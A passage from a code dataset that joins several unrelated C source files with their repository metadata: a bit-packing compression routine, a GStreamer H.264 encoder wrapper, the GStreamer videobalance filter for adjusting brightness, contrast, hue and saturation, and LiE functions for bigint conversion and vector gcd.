i; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int *cur; unsigned int lcl; lastSlot = 0; cur = z; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; for (i=0; i < npts; i++) { stuff(ufld[i], cur, 32, nbits, lastWordShifted, spaceInLastWord); } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; } void unpack_stream_nbits_8(unsigned char ufld[], unsigned int z[], int npts, int nbits) { unsigned int i; unsigned int lastSlot; unsigned int *cur; int bitPackInWord; unsigned int curword; lastSlot = 0; cur = z; bitPackInWord = 32; curword = *cur; for (i=0; i < npts; i++) { extract(ufld[i], cur, 32, nbits, curword, bitPackInWord); } }
mfvalin/rmnlib
compresseur/armn_compress_32.c
C
lgpl-2.1
32,194
/* * Copyright (C) 2009-2012 Felipe Contreras * * Author: Felipe Contreras <felipe.contreras@gmail.com> * * This file may be used under the terms of the GNU Lesser General Public * License version 2.1. */ #include "gstav_h264enc.h" #include "gstav_venc.h" #include "plugin.h" #include <libavcodec/avcodec.h> #include <libavutil/opt.h> #include <gst/tag/tag.h> #include <stdlib.h> #include <string.h> /* for memcpy */ #include <stdbool.h> #include "util.h" #define GST_CAT_DEFAULT gstav_debug struct obj { struct gst_av_venc parent; }; struct obj_class { GstElementClass parent_class; }; #if LIBAVUTIL_VERSION_MAJOR < 52 && !(LIBAVUTIL_VERSION_MAJOR == 51 && LIBAVUTIL_VERSION_MINOR >= 12) static int av_opt_set(void *obj, const char *name, const char *val, int search_flags) { return av_set_string3(obj, name, val, 0, NULL); } #endif static void init_ctx(struct gst_av_venc *base, AVCodecContext *ctx) { av_opt_set(ctx->priv_data, "preset", "medium", 0); av_opt_set(ctx->priv_data, "profile", "baseline", 0); av_opt_set(ctx->priv_data, "x264opts", "annexb=1", 0); av_opt_set_int(ctx->priv_data, "aud", 1, 0); } static GstCaps * generate_src_template(void) { GstCaps *caps; GstStructure *struc; caps = gst_caps_new_empty(); struc = gst_structure_new("video/x-h264", "stream-format", G_TYPE_STRING, "byte-stream", "alignment", G_TYPE_STRING, "au", NULL); gst_caps_append_structure(caps, struc); return caps; } static GstCaps * generate_sink_template(void) { GstCaps *caps; caps = gst_caps_new_simple("video/x-raw-yuv", "format", GST_TYPE_FOURCC, GST_MAKE_FOURCC('I', '4', '2', '0'), NULL); return caps; } static void instance_init(GTypeInstance *instance, void *g_class) { struct gst_av_venc *venc = (struct gst_av_venc *)instance; venc->codec_id = CODEC_ID_H264; venc->init_ctx = init_ctx; } static void base_init(void *g_class) { GstElementClass *element_class = g_class; GstPadTemplate *template; gst_element_class_set_details_simple(element_class, "av h264 video encoder", "Coder/Encoder/Video", "H.264 encoder wrapper for libavcodec", "Felipe Contreras"); template = gst_pad_template_new("src", GST_PAD_SRC, GST_PAD_ALWAYS, generate_src_template()); gst_element_class_add_pad_template(element_class, template); template = gst_pad_template_new("sink", GST_PAD_SINK, GST_PAD_ALWAYS, generate_sink_template()); gst_element_class_add_pad_template(element_class, template); } GType gst_av_h264enc_get_type(void) { static GType type; if (G_UNLIKELY(type == 0)) { GTypeInfo type_info = { .class_size = sizeof(struct obj_class), .base_init = base_init, .instance_size = sizeof(struct obj), .instance_init = instance_init, }; type = g_type_register_static(GST_AV_VENC_TYPE, "GstAVH264Enc", &type_info, 0); } return type; }
felipec/gst-av
gstav_h264enc.c
C
lgpl-2.1
2,840
/* GStreamer * Copyright (C) <1999> Erik Walthinsen <omega@cse.ogi.edu> * Copyright (C) <2003> David Schleef <ds@schleef.org> * Copyright (C) <2010> Sebastian Dröge <sebastian.droege@collabora.co.uk> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ /* * This file was (probably) generated from gstvideobalance.c, * gstvideobalance.c,v 1.7 2003/11/08 02:48:59 dschleef Exp */ /** * SECTION:element-videobalance * * Adjusts brightness, contrast, hue, saturation on a video stream. * * <refsect2> * <title>Example launch line</title> * |[ * gst-launch videotestsrc ! videobalance saturation=0.0 ! ffmpegcolorspace ! ximagesink * ]| This pipeline converts the image to black and white by setting the * saturation to 0.0. * </refsect2> * * Last reviewed on 2010-04-18 (0.10.22) */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "gstvideobalance.h" #include <string.h> #include <math.h> #include <gst/controller/gstcontroller.h> #include <gst/interfaces/colorbalance.h> #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #ifdef WIN32 #define rint(x) (floor((x)+0.5)) #endif GST_DEBUG_CATEGORY_STATIC (videobalance_debug); #define GST_CAT_DEFAULT videobalance_debug /* GstVideoBalance properties */ #define DEFAULT_PROP_CONTRAST 1.0 #define DEFAULT_PROP_BRIGHTNESS 0.0 #define DEFAULT_PROP_HUE 0.0 #define DEFAULT_PROP_SATURATION 1.0 enum { PROP_0, PROP_CONTRAST, PROP_BRIGHTNESS, PROP_HUE, PROP_SATURATION }; static GstStaticPadTemplate gst_video_balance_src_template = GST_STATIC_PAD_TEMPLATE ("src", GST_PAD_SRC, GST_PAD_ALWAYS, GST_STATIC_CAPS (GST_VIDEO_CAPS_YUV ("AYUV") ";" GST_VIDEO_CAPS_ARGB ";" GST_VIDEO_CAPS_BGRA ";" GST_VIDEO_CAPS_ABGR ";" GST_VIDEO_CAPS_RGBA ";" GST_VIDEO_CAPS_YUV ("Y444") ";" GST_VIDEO_CAPS_xRGB ";" GST_VIDEO_CAPS_RGBx ";" GST_VIDEO_CAPS_xBGR ";" GST_VIDEO_CAPS_BGRx ";" GST_VIDEO_CAPS_RGB ";" GST_VIDEO_CAPS_BGR ";" GST_VIDEO_CAPS_YUV ("Y42B") ";" GST_VIDEO_CAPS_YUV ("YUY2") ";" GST_VIDEO_CAPS_YUV ("UYVY") ";" GST_VIDEO_CAPS_YUV ("YVYU") ";" GST_VIDEO_CAPS_YUV ("I420") ";" GST_VIDEO_CAPS_YUV ("YV12") ";" GST_VIDEO_CAPS_YUV ("IYUV") ";" GST_VIDEO_CAPS_YUV ("Y41B") ) ); static GstStaticPadTemplate gst_video_balance_sink_template = GST_STATIC_PAD_TEMPLATE ("sink", GST_PAD_SINK, GST_PAD_ALWAYS, GST_STATIC_CAPS (GST_VIDEO_CAPS_YUV ("AYUV") ";" GST_VIDEO_CAPS_ARGB ";" GST_VIDEO_CAPS_BGRA ";" GST_VIDEO_CAPS_ABGR ";" GST_VIDEO_CAPS_RGBA ";" GST_VIDEO_CAPS_YUV ("Y444") ";" GST_VIDEO_CAPS_xRGB ";" GST_VIDEO_CAPS_RGBx ";" GST_VIDEO_CAPS_xBGR ";" GST_VIDEO_CAPS_BGRx ";" GST_VIDEO_CAPS_RGB ";" GST_VIDEO_CAPS_BGR ";" GST_VIDEO_CAPS_YUV ("Y42B") ";" GST_VIDEO_CAPS_YUV ("YUY2") ";" GST_VIDEO_CAPS_YUV ("UYVY") ";" GST_VIDEO_CAPS_YUV ("YVYU") ";" GST_VIDEO_CAPS_YUV ("I420") ";" GST_VIDEO_CAPS_YUV ("YV12") ";" GST_VIDEO_CAPS_YUV ("IYUV") ";" GST_VIDEO_CAPS_YUV ("Y41B") ) ); static void gst_video_balance_colorbalance_init (GstColorBalanceClass * iface); static void gst_video_balance_interface_init (GstImplementsInterfaceClass * klass); static void gst_video_balance_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec); static void gst_video_balance_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec); static void _do_init (GType video_balance_type) { static const GInterfaceInfo iface_info = { (GInterfaceInitFunc) gst_video_balance_interface_init, NULL, NULL, }; static const GInterfaceInfo colorbalance_info = { (GInterfaceInitFunc) gst_video_balance_colorbalance_init, NULL, NULL, }; g_type_add_interface_static (video_balance_type, GST_TYPE_IMPLEMENTS_INTERFACE, &iface_info); g_type_add_interface_static (video_balance_type, GST_TYPE_COLOR_BALANCE, &colorbalance_info); } GST_BOILERPLATE_FULL (GstVideoBalance, gst_video_balance, GstVideoFilter, GST_TYPE_VIDEO_FILTER, _do_init); /* * look-up tables (LUT). */ static void gst_video_balance_update_tables (GstVideoBalance * vb) { gint i, j; gdouble y, u, v, hue_cos, hue_sin; /* Y */ for (i = 0; i < 256; i++) { y = 16 + ((i - 16) * vb->contrast + vb->brightness * 255); if (y < 0) y = 0; else if (y > 255) y = 255; vb->tabley[i] = rint (y); } hue_cos = cos (M_PI * vb->hue); hue_sin = sin (M_PI * vb->hue); /* U/V lookup tables are 2D, since we need both U/V for each table * separately. */ for (i = -128; i < 128; i++) { for (j = -128; j < 128; j++) { u = 128 + ((i * hue_cos + j * hue_sin) * vb->saturation); v = 128 + ((-i * hue_sin + j * hue_cos) * vb->saturation); if (u < 0) u = 0; else if (u > 255) u = 255; if (v < 0) v = 0; else if (v > 255) v = 255; vb->tableu[i + 128][j + 128] = rint (u); vb->tablev[i + 128][j + 128] = rint (v); } } } static gboolean gst_video_balance_is_passthrough (GstVideoBalance * videobalance) { return videobalance->contrast == 1.0 && videobalance->brightness == 0.0 && videobalance->hue == 0.0 && videobalance->saturation == 1.0; } static void gst_video_balance_update_properties (GstVideoBalance * videobalance) { gboolean passthrough = gst_video_balance_is_passthrough (videobalance); GstBaseTransform *base = GST_BASE_TRANSFORM (videobalance); base->passthrough = passthrough; if (!passthrough) gst_video_balance_update_tables (videobalance); } static void gst_video_balance_planar_yuv (GstVideoBalance * videobalance, guint8 * data) { gint x, y; guint8 *ydata; guint8 *udata, *vdata; gint ystride, ustride, vstride; GstVideoFormat format; gint width, height; gint width2, height2; guint8 *tabley = videobalance->tabley; guint8 **tableu = videobalance->tableu; guint8 **tablev = videobalance->tablev; format = videobalance->format; width = videobalance->width; height = videobalance->height; ydata = data + gst_video_format_get_component_offset (format, 0, width, height); ystride = gst_video_format_get_row_stride (format, 0, width); for (y = 0; y < height; y++) { guint8 *yptr; yptr = ydata + y * ystride; for (x = 0; x < width; x++) { *ydata = tabley[*ydata]; ydata++; } } width2 = gst_video_format_get_component_width (format, 1, width); height2 = gst_video_format_get_component_height (format, 1, height); udata = data + gst_video_format_get_component_offset (format, 1, width, height); vdata = data + gst_video_format_get_component_offset (format, 2, width, height); ustride = gst_video_format_get_row_stride (format, 1, width); vstride = gst_video_format_get_row_stride (format, 1, width); for (y = 0; y < height2; y++) { guint8 *uptr, *vptr; guint8 u1, v1; uptr = udata + y * ustride; vptr = vdata + y * vstride; for (x = 0; x < width2; x++) { u1 = *uptr; v1 = *vptr; *uptr++ = tableu[u1][v1]; *vptr++ = tablev[u1][v1]; } } } static void gst_video_balance_packed_yuv (GstVideoBalance * videobalance, guint8 * data) { gint x, y; guint8 *ydata; guint8 *udata, *vdata; gint ystride, ustride, vstride; gint yoff, uoff, voff; GstVideoFormat format; gint width, height; gint width2, height2; guint8 *tabley = videobalance->tabley; guint8 **tableu = videobalance->tableu; guint8 **tablev = videobalance->tablev; format = videobalance->format; width = videobalance->width; height = videobalance->height; ydata = data + gst_video_format_get_component_offset (format, 0, width, height); ystride = gst_video_format_get_row_stride (format, 0, width); yoff = gst_video_format_get_pixel_stride (format, 0); for (y = 0; y < height; y++) { guint8 *yptr; yptr = ydata + y * ystride; for (x = 0; x < width; x++) { *ydata = tabley[*ydata]; ydata += yoff; } } width2 = gst_video_format_get_component_width (format, 1, width); height2 = gst_video_format_get_component_height (format, 1, height); udata = data + gst_video_format_get_component_offset (format, 1, width, height); vdata = data + gst_video_format_get_component_offset (format, 2, width, height); ustride = gst_video_format_get_row_stride (format, 1, width); vstride = gst_video_format_get_row_stride (format, 1, width); uoff = gst_video_format_get_pixel_stride (format, 1); voff = gst_video_format_get_pixel_stride (format, 2); for (y = 0; y < height2; y++) { guint8 *uptr, *vptr; guint8 u1, v1; uptr = udata + y * ustride; vptr = vdata + y * vstride; for (x = 0; x < width2; x++) { u1 = *uptr; v1 = *vptr; *uptr = tableu[u1][v1]; *vptr = tablev[u1][v1]; uptr += uoff; vptr += voff; } } } static const int cog_ycbcr_to_rgb_matrix_8bit_sdtv[] = { 298, 0, 409, -57068, 298, -100, -208, 34707, 298, 516, 0, -70870, }; static const gint cog_rgb_to_ycbcr_matrix_8bit_sdtv[] = { 66, 129, 25, 4096, -38, -74, 112, 32768, 112, -94, -18, 32768, }; #define APPLY_MATRIX(m,o,v1,v2,v3) ((m[o*4] * v1 + m[o*4+1] * v2 + m[o*4+2] * v3 + m[o*4+3]) >> 8) static void gst_video_balance_packed_rgb (GstVideoBalance * videobalance, guint8 * data) { gint i, j, height; gint width, row_stride, row_wrap; gint pixel_stride; gint offsets[3]; gint r, g, b; gint y, u, v; gint u_tmp, v_tmp; guint8 *tabley = videobalance->tabley; guint8 **tableu = videobalance->tableu; guint8 **tablev = videobalance->tablev; offsets[0] = gst_video_format_get_component_offset (videobalance->format, 0, videobalance->width, videobalance->height); offsets[1] = gst_video_format_get_component_offset (videobalance->format, 1, videobalance->width, videobalance->height); offsets[2] = gst_video_format_get_component_offset (videobalance->format, 2, videobalance->width, videobalance->height); width = gst_video_format_get_component_width (videobalance->format, 0, videobalance->width); height = gst_video_format_get_component_height (videobalance->format, 0, videobalance->height); row_stride = gst_video_format_get_row_stride (videobalance->format, 0, videobalance->width); pixel_stride = gst_video_format_get_pixel_stride (videobalance->format, 0); row_wrap = row_stride - pixel_stride * width; for (i = 0; i < height; i++) { for (j = 0; j < width; j++) { r = data[offsets[0]]; g = data[offsets[1]]; b = data[offsets[2]]; y = APPLY_MATRIX (cog_rgb_to_ycbcr_matrix_8bit_sdtv, 0, r, g, b); u_tmp = APPLY_MATRIX (cog_rgb_to_ycbcr_matrix_8bit_sdtv, 1, r, g, b); v_tmp = APPLY_MATRIX (cog_rgb_to_ycbcr_matrix_8bit_sdtv, 2, r, g, b); y = CLAMP (y, 0, 255); u_tmp = CLAMP (u_tmp, 0, 255); v_tmp = CLAMP (v_tmp, 0, 255); y = tabley[y]; u = tableu[u_tmp][v_tmp]; v = tablev[u_tmp][v_tmp]; r = APPLY_MATRIX (cog_ycbcr_to_rgb_matrix_8bit_sdtv, 0, y, u, v); g = APPLY_MATRIX (cog_ycbcr_to_rgb_matrix_8bit_sdtv, 1, y, u, v); b = APPLY_MATRIX (cog_ycbcr_to_rgb_matrix_8bit_sdtv, 2, y, u, v); data[offsets[0]] = CLAMP (r, 0, 255); data[offsets[1]] = CLAMP (g, 0, 255); data[offsets[2]] = CLAMP (b, 0, 255); data += pixel_stride; } data += row_wrap; } } /* get notified of caps and plug in the correct process function */ static gboolean gst_video_balance_set_caps (GstBaseTransform * base, GstCaps * incaps, GstCaps * outcaps) { GstVideoBalance *videobalance = GST_VIDEO_BALANCE (base); GST_DEBUG_OBJECT (videobalance, "in %" GST_PTR_FORMAT " out %" GST_PTR_FORMAT, incaps, outcaps); videobalance->process = NULL; if (!gst_video_format_parse_caps (incaps, &videobalance->format, &videobalance->width, &videobalance->height)) goto invalid_caps; videobalance->size = gst_video_format_get_size (videobalance->format, videobalance->width, videobalance->height); switch (videobalance->format) { case GST_VIDEO_FORMAT_I420: case GST_VIDEO_FORMAT_YV12: case GST_VIDEO_FORMAT_Y41B: case GST_VIDEO_FORMAT_Y42B: case GST_VIDEO_FORMAT_Y444: videobalance->process = gst_video_balance_planar_yuv; break; case GST_VIDEO_FORMAT_YUY2: case GST_VIDEO_FORMAT_UYVY: case GST_VIDEO_FORMAT_AYUV: case GST_VIDEO_FORMAT_YVYU: videobalance->process = gst_video_balance_packed_yuv; break; case GST_VIDEO_FORMAT_ARGB: case GST_VIDEO_FORMAT_ABGR: case GST_VIDEO_FORMAT_RGBA: case GST_VIDEO_FORMAT_BGRA: case GST_VIDEO_FORMAT_xRGB: case GST_VIDEO_FORMAT_xBGR: case GST_VIDEO_FORMAT_RGBx: case GST_VIDEO_FORMAT_BGRx: case GST_VIDEO_FORMAT_RGB: case GST_VIDEO_FORMAT_BGR: videobalance->process = gst_video_balance_packed_rgb; break; default: break; } return videobalance->process != NULL; invalid_caps: GST_ERROR_OBJECT (videobalance, "Invalid caps: %" GST_PTR_FORMAT, incaps); return FALSE; } static void gst_video_balance_before_transform (GstBaseTransform * base, GstBuffer * buf) { GstVideoBalance *balance = GST_VIDEO_BALANCE (base); GstClockTime timestamp, stream_time; timestamp = GST_BUFFER_TIMESTAMP (buf); stream_time = gst_segment_to_stream_time (&base->segment, GST_FORMAT_TIME, timestamp); GST_DEBUG_OBJECT (balance, "sync to %" GST_TIME_FORMAT, GST_TIME_ARGS (timestamp)); if (GST_CLOCK_TIME_IS_VALID (stream_time)) gst_object_sync_values (G_OBJECT (balance), stream_time); } static GstFlowReturn gst_video_balance_transform_ip (GstBaseTransform * base, GstBuffer * outbuf) { GstVideoBalance *videobalance = GST_VIDEO_BALANCE (base); guint8 *data; guint size; if (!videobalance->process) goto not_negotiated; /* if no change is needed, we are done */ if (base->passthrough) goto done; data = GST_BUFFER_DATA (outbuf); size = GST_BUFFER_SIZE (outbuf); if (size != videobalance->size) goto wrong_size; GST_OBJECT_LOCK (videobalance); videobalance->process (videobalance, data); GST_OBJECT_UNLOCK (videobalance); done: return GST_FLOW_OK; /* ERRORS */ wrong_size: { GST_ELEMENT_ERROR (videobalance, STREAM, FORMAT, (NULL), ("Invalid buffer size %d, expected %d", size, videobalance->size)); return GST_FLOW_ERROR; } not_negotiated: GST_ERROR_OBJECT (videobalance, "Not negotiated yet"); return GST_FLOW_NOT_NEGOTIATED; } static void gst_video_balance_base_init (gpointer g_class) { GstElementClass *element_class = GST_ELEMENT_CLASS (g_class); gst_element_class_set_details_simple (element_class, "Video balance", "Filter/Effect/Video", "Adjusts brightness, contrast, hue, saturation on a video stream", "David Schleef <ds@schleef.org>"); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&gst_video_balance_sink_template)); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&gst_video_balance_src_template)); } static void gst_video_balance_finalize (GObject * object) { GList *channels = NULL; GstVideoBalance *balance = GST_VIDEO_BALANCE (object); g_free (balance->tableu[0]); channels = balance->channels; while (channels) { GstColorBalanceChannel *channel = channels->data; g_object_unref (channel); channels->data = NULL; channels = g_list_next (channels); } if (balance->channels) g_list_free (balance->channels); G_OBJECT_CLASS (parent_class)->finalize (object); } static void gst_video_balance_class_init (GstVideoBalanceClass * klass) { GObjectClass *gobject_class = (GObjectClass *) klass; GstBaseTransformClass *trans_class = (GstBaseTransformClass *) klass; GST_DEBUG_CATEGORY_INIT (videobalance_debug, "videobalance", 0, "videobalance"); gobject_class->finalize = gst_video_balance_finalize; gobject_class->set_property = gst_video_balance_set_property; gobject_class->get_property = gst_video_balance_get_property; g_object_class_install_property (gobject_class, PROP_CONTRAST, g_param_spec_double ("contrast", "Contrast", "contrast", 0.0, 2.0, DEFAULT_PROP_CONTRAST, GST_PARAM_CONTROLLABLE | G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_BRIGHTNESS, g_param_spec_double ("brightness", "Brightness", "brightness", -1.0, 1.0, DEFAULT_PROP_BRIGHTNESS, GST_PARAM_CONTROLLABLE | G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_HUE, g_param_spec_double ("hue", "Hue", "hue", -1.0, 1.0, DEFAULT_PROP_HUE, GST_PARAM_CONTROLLABLE | G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_SATURATION, g_param_spec_double ("saturation", "Saturation", "saturation", 0.0, 2.0, DEFAULT_PROP_SATURATION, GST_PARAM_CONTROLLABLE | G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); trans_class->set_caps = GST_DEBUG_FUNCPTR (gst_video_balance_set_caps); trans_class->transform_ip = GST_DEBUG_FUNCPTR (gst_video_balance_transform_ip); trans_class->before_transform = GST_DEBUG_FUNCPTR (gst_video_balance_before_transform); } static void gst_video_balance_init (GstVideoBalance * videobalance, GstVideoBalanceClass * klass) { const gchar *channels[4] = { "HUE", "SATURATION", "BRIGHTNESS", "CONTRAST" }; gint i; /* Initialize propertiews */ videobalance->contrast = DEFAULT_PROP_CONTRAST; videobalance->brightness = DEFAULT_PROP_BRIGHTNESS; videobalance->hue = DEFAULT_PROP_HUE; videobalance->saturation = DEFAULT_PROP_SATURATION; videobalance->tableu[0] = g_new (guint8, 256 * 256 * 2); for (i = 0; i < 256; i++) { videobalance->tableu[i] = videobalance->tableu[0] + i * 256 * sizeof (guint8); videobalance->tablev[i] = videobalance->tableu[0] + 256 * 256 * sizeof (guint8) + i * 256 * sizeof (guint8); } gst_video_balance_update_properties (videobalance); /* Generate the channels list */ for (i = 0; i < G_N_ELEMENTS (channels); i++) { GstColorBalanceChannel *channel; channel = g_object_new (GST_TYPE_COLOR_BALANCE_CHANNEL, NULL); channel->label = g_strdup (channels[i]); channel->min_value = -1000; channel->max_value = 1000; videobalance->channels = g_list_append (videobalance->channels, channel); } } static gboolean gst_video_balance_interface_supported (GstImplementsInterface * iface, GType type) { g_assert (type == GST_TYPE_COLOR_BALANCE); return TRUE; } static void gst_video_balance_interface_init (GstImplementsInterfaceClass * klass) { klass->supported = gst_video_balance_interface_supported; } static const GList * gst_video_balance_colorbalance_list_channels (GstColorBalance * balance) { GstVideoBalance *videobalance = GST_VIDEO_BALANCE (balance); g_return_val_if_fail (videobalance != NULL, NULL); g_return_val_if_fail (GST_IS_VIDEO_BALANCE (videobalance), NULL); return videobalance->channels; } static void gst_video_balance_colorbalance_set_value (GstColorBalance * balance, GstColorBalanceChannel * channel, gint value) { GstVideoBalance *vb = GST_VIDEO_BALANCE (balance); gdouble new_val; gboolean changed; g_return_if_fail (vb != NULL); g_return_if_fail (GST_IS_VIDEO_BALANCE (vb)); g_return_if_fail (GST_IS_VIDEO_FILTER (vb)); g_return_if_fail (channel->label != NULL); GST_BASE_TRANSFORM_LOCK (vb); GST_OBJECT_LOCK (vb); if (!g_ascii_strcasecmp (channel->label, "HUE")) { new_val = (value + 1000.0) * 2.0 / 2000.0 - 1.0; changed = new_val != vb->hue; vb->hue = new_val; } else if (!g_ascii_strcasecmp (channel->label, "SATURATION")) { new_val = (value + 1000.0) * 2.0 / 2000.0; changed = new_val != vb->saturation; vb->saturation = new_val; } else if (!g_ascii_strcasecmp (channel->label, "BRIGHTNESS")) { new_val = (value + 1000.0) * 2.0 / 2000.0 - 1.0; changed = new_val != vb->brightness; vb->brightness = new_val; } else if (!g_ascii_strcasecmp (channel->label, "CONTRAST")) { new_val = (value + 1000.0) * 2.0 / 2000.0; changed = new_val != vb->contrast; vb->contrast = new_val; } gst_video_balance_update_properties (vb); GST_OBJECT_UNLOCK (vb); GST_BASE_TRANSFORM_UNLOCK (vb); gst_color_balance_value_changed (balance, channel, gst_color_balance_get_value (balance, channel)); } static gint gst_video_balance_colorbalance_get_value (GstColorBalance * balance, GstColorBalanceChannel * channel) { GstVideoBalance *vb = GST_VIDEO_BALANCE (balance); gint value = 0; g_return_val_if_fail (vb != NULL, 0); g_return_val_if_fail (GST_IS_VIDEO_BALANCE (vb), 0); g_return_val_if_fail (channel->label != NULL, 0); if (!g_ascii_strcasecmp (channel->label, "HUE")) { value = (vb->hue + 1) * 2000.0 / 2.0 - 1000.0; } else if (!g_ascii_strcasecmp (channel->label, "SATURATION")) { value = vb->saturation * 2000.0 / 2.0 - 1000.0; } else if (!g_ascii_strcasecmp (channel->label, "BRIGHTNESS")) { value = (vb->brightness + 1) * 2000.0 / 2.0 - 1000.0; } else if (!g_ascii_strcasecmp (channel->label, "CONTRAST")) { value = vb->contrast * 2000.0 / 2.0 - 1000.0; } return value; } static void gst_video_balance_colorbalance_init (GstColorBalanceClass * iface) { GST_COLOR_BALANCE_TYPE (iface) = GST_COLOR_BALANCE_SOFTWARE; iface->list_channels = gst_video_balance_colorbalance_list_channels; iface->set_value = gst_video_balance_colorbalance_set_value; iface->get_value = gst_video_balance_colorbalance_get_value; } static GstColorBalanceChannel * gst_video_balance_find_channel (GstVideoBalance * balance, const gchar * label) { GList *l; for (l = balance->channels; l; l = l->next) { GstColorBalanceChannel *channel = l->data; if (g_ascii_strcasecmp (channel->label, label) == 0) return channel; } return NULL; } static void gst_video_balance_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec) { GstVideoBalance *balance = GST_VIDEO_BALANCE (object); gdouble d; const gchar *label = NULL; GST_BASE_TRANSFORM_LOCK (balance); GST_OBJECT_LOCK (balance); switch (prop_id) { case PROP_CONTRAST: d = g_value_get_double (value); GST_DEBUG_OBJECT (balance, "Changing contrast from %lf to %lf", balance->contrast, d); if (d != balance->contrast) label = "CONTRAST"; balance->contrast = d; break; case PROP_BRIGHTNESS: d = g_value_get_double (value); GST_DEBUG_OBJECT (balance, "Changing brightness from %lf to %lf", balance->brightness, d); if (d != balance->brightness) label = "BRIGHTNESS"; balance->brightness = d; break; case PROP_HUE: d = g_value_get_double (value); GST_DEBUG_OBJECT (balance, "Changing hue from %lf to %lf", balance->hue, d); if (d != balance->hue) label = "HUE"; balance->hue = d; break; case PROP_SATURATION: d = g_value_get_double (value); GST_DEBUG_OBJECT (balance, "Changing saturation from %lf to %lf", balance->saturation, d); if (d != balance->saturation) label = "SATURATION"; balance->saturation = d; break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } gst_video_balance_update_properties (balance); GST_OBJECT_UNLOCK (balance); GST_BASE_TRANSFORM_UNLOCK (balance); if (label) { GstColorBalanceChannel *channel = gst_video_balance_find_channel (balance, label); gst_color_balance_value_changed (GST_COLOR_BALANCE (balance), channel, gst_color_balance_get_value (GST_COLOR_BALANCE (balance), channel)); } } static void gst_video_balance_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec) { GstVideoBalance *balance = GST_VIDEO_BALANCE (object); switch (prop_id) { case PROP_CONTRAST: g_value_set_double (value, balance->contrast); break; case PROP_BRIGHTNESS: g_value_set_double (value, balance->brightness); break; case PROP_HUE: g_value_set_double (value, balance->hue); break; case PROP_SATURATION: g_value_set_double (value, balance->saturation); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } }
jahrome/gst-plugins-good
gst/videofilter/gstvideobalance.c
C
lgpl-2.1
25,489
/* Static5 is engaged with type BIGINT and ggd(vec) */ #include "lie.h" #ifdef __STDC__ static entry gcd(entry x,entry y); static entry abs_minimum(vector* v_vec); static boolean equal_elements(vector* v_vec); #endif static bigint* bin_from_int(i) intcel* i; { entry k = i->intval; freemem(i); return entry2bigint(k); } static intcel* int_from_bin(b) bigint* b; { entry k = bigint2entry(b); freemem(b); return mkintcel(k); } static object vid_factor_bin(b) object b; { return (object) Factor((bigint *) b); } /* Transform a vector into a matrix with the same components as the vector, when read by rows */ static object mat_matvec_vec_int(object v,object nrows_object) { index size=v->v.ncomp, nrows, ncols=nrows_object->i.intval; if (ncols<=0) error("Number of columns should be positive.\n"); if (size%ncols!=0) error ("Number of columns should divide size of vector.\n"); { matrix* m=mkmatrix(nrows=size/ncols,ncols); index i,j,k=0; for (i=0; i<nrows; ++i) for (j=0; j<ncols; ++j) m->elm[i][j]=v->v.compon[k++]; /* |k==ncols*i+j| before increment */ return (object) m; } } static entry gcd(x,y) entry x,y; { /* Requirement 0<x <= y */ entry r = x; if (y==0) return 0; while (r) { x = y % r; y = r; r = x; /* x <= y */ } return y; } static entry abs_minimum(vector* v_vec) /* return minimal absoulte value of nonzero array elements, or 0 when all elements are 0. */ { index i; boolean is_zero=true; index n = v_vec->ncomp; entry* v = v_vec->compon; index minimum=0; for (i=0; i<n; ++i) if (v[i]!=0) if (is_zero) { is_zero=false; minimum=labs(v[i]); } else { entry c = labs(v[i]); if (c<minimum) minimum = c; } return minimum; } static boolean equal_elements(v_vec) vector* v_vec; /* Do all nonzero elements have the same absolute value? */ { index i, first = 0; index n = v_vec->ncomp; entry* v = v_vec->compon; /* Omit prefixed 0 */ while (first < n && v[first]==0) first++; if (first == n) return true; /* All zero */ i = first + 1; while (i < n && (v[i]== 0 || labs(v[first]) == labs(v[i]))) i++; if (i == n) return true; return false; } object int_gcd_vec(v_vec) vector *v_vec; { entry r = abs_minimum(v_vec); entry *v; index i; index n = v_vec->ncomp; if (isshared(v_vec)) v_vec = copyvector(v_vec); v = v_vec->compon; while (!equal_elements(v_vec)) { for (i=0;i<n;i++) v[i] = gcd(r, v[i]); r = abs_minimum(v_vec); } return (object) mkintcel(r); } Symbrec static5[] = { C1("$bigint", (fobject)bin_from_int, BIGINT, INTEGER) C1("$intbig", (fobject)int_from_bin, INTEGER, BIGINT) C1("factor", vid_factor_bin, VOID, BIGINT) C2("mat_vec", mat_matvec_vec_int,MATRIX,VECTOR,INTEGER) C1("gcd",int_gcd_vec, INTEGER, VECTOR) }; int nstatic5 = array_size(static5); #ifdef __STDC__ # define P(s) s #else # define P(s) () #endif bigint* (*int2bin) P((intcel*)) = bin_from_int; intcel* (*bin2int) P((bigint*)) = int_from_bin;
garetxe/lie-singlets
static/static5.c
C
lgpl-2.1
3,038
